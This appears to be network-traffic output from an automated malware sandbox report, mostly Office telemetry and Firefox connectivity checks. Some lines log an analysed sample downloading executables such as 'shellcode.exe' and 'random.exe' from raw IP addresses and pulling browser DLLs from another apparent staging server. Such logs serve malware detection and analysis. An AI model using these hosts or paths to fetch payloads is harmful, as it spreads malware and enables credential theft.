Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=179335-179335If-Range: 0x8DCEC757C1AD1D1
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /files/5468191780.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/shellcode.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
